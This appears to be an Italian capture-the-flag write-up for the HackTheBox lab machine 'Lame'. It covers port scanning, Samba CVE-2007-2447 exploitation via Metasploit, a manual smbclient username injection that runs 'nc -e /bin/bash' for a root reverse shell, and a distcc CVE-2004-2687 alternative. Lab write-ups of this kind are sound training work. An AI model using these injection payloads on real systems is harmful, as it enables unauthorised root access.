/writeups / lame

🐧

Lame

Prima macchina pubblicata su HTB. Samba 3.0.20 vulnerabile a CVE-2007-2447 (username map script injection) fornisce shell root diretta senza privesc.

Easy

IP

10.10.10.3

OS

Linux

Released

2017-03-14

Retired

2017-05-26

nmapsmbclientMetasploitnetcatSMB enumerationCVE exploitationMetasploitManual exploit
// 01

Reconnaissance

Nmap full-port scan con version detection e default scripts per mappare la superficie esposta.

bash
nmap -sV -sC -p- --min-rate 5000 -oN lame.nmap 10.10.10.3

Output rilevante:

text
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X
445/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian
3632/tcp open  distccd     distcc v1 ((GNU) 4.2.4)
  • vsftpd 2.3.4 — backdoor nota (CVE-2011-2523) ma il trigger non funziona su questa macchina
  • Samba 3.0.20 — vulnerabile a CVE-2007-2447 (username map script RCE)
  • distcc 3632 — vulnerabile a CVE-2004-2687 (command injection), path alternativo
// 02

Exploitation — Samba CVE-2007-2447

Samba 3.0.20 con `username map script` abilitato non sanitizza il campo username durante l'autenticazione SMB. Metacaratteri shell vengono eseguiti come root dal processo smbd.

Con Metasploit:

bash
msf6 > use exploit/multi/samba/usermap_script
msf6 exploit(usermap_script) > set RHOSTS 10.10.10.3
msf6 exploit(usermap_script) > set LHOST <tua_ip>
msf6 exploit(usermap_script) > run

Manuale — il campo username viene passato allo script senza escape. Si inietta una reverse shell tramite backtick nel campo username di smbclient:

bash
# listener sul proprio host
nc -lvnp 4444

# payload iniettato nel campo username
smbclient //10.10.10.3/tmp \
  -U "/=`nohup nc -e /bin/bash <tua_ip> 4444`" \
  -N

La shell apre direttamente come root — nessun privesc necessario perché smbd gira con UID 0 su questa configurazione.

// 03

Flags

bash
# user flag (home dell'utente makis)
cat /home/makis/user.txt

# root flag
cat /root/root.txt

Entrambi accessibili direttamente dalla shell root. User flag leggibile anche senza privesc grazie ai permessi 644.

// 04

Alternativa — distcc CVE-2004-2687

Porta 3632 (distcc daemon) è vulnerabile a command injection. Lo script Nmap lo verifica automaticamente:

bash
nmap -p 3632 \
  --script distcc-cve2004-2687 \
  --script-args="distcc-cve2004-2687.cmd='id'" \
  10.10.10.3

Questo path restituisce shell come utente `daemon` (non root) — richiede privesc successivo. CVE-2007-2447 via Samba è il path privilegiato.

// 05

Takeaway

  • Enumerare sempre la versione Samba — 3.0.x su macchine legacy è quasi sempre vulnerabile a CVE-2007-2447
  • CVE-2007-2447 sfruttabile senza Metasploit con smbclient standard: utile in ambienti senza framework disponibile
  • Su macchine con multipli path di exploit, selezionare quello che porta a root direttamente per ridurre la rumorosità
  • distcc su porta non standard è frequentemente ignorato — full-port scan sempre, anche su macchine che sembrano semplici

[press any key or click to skip]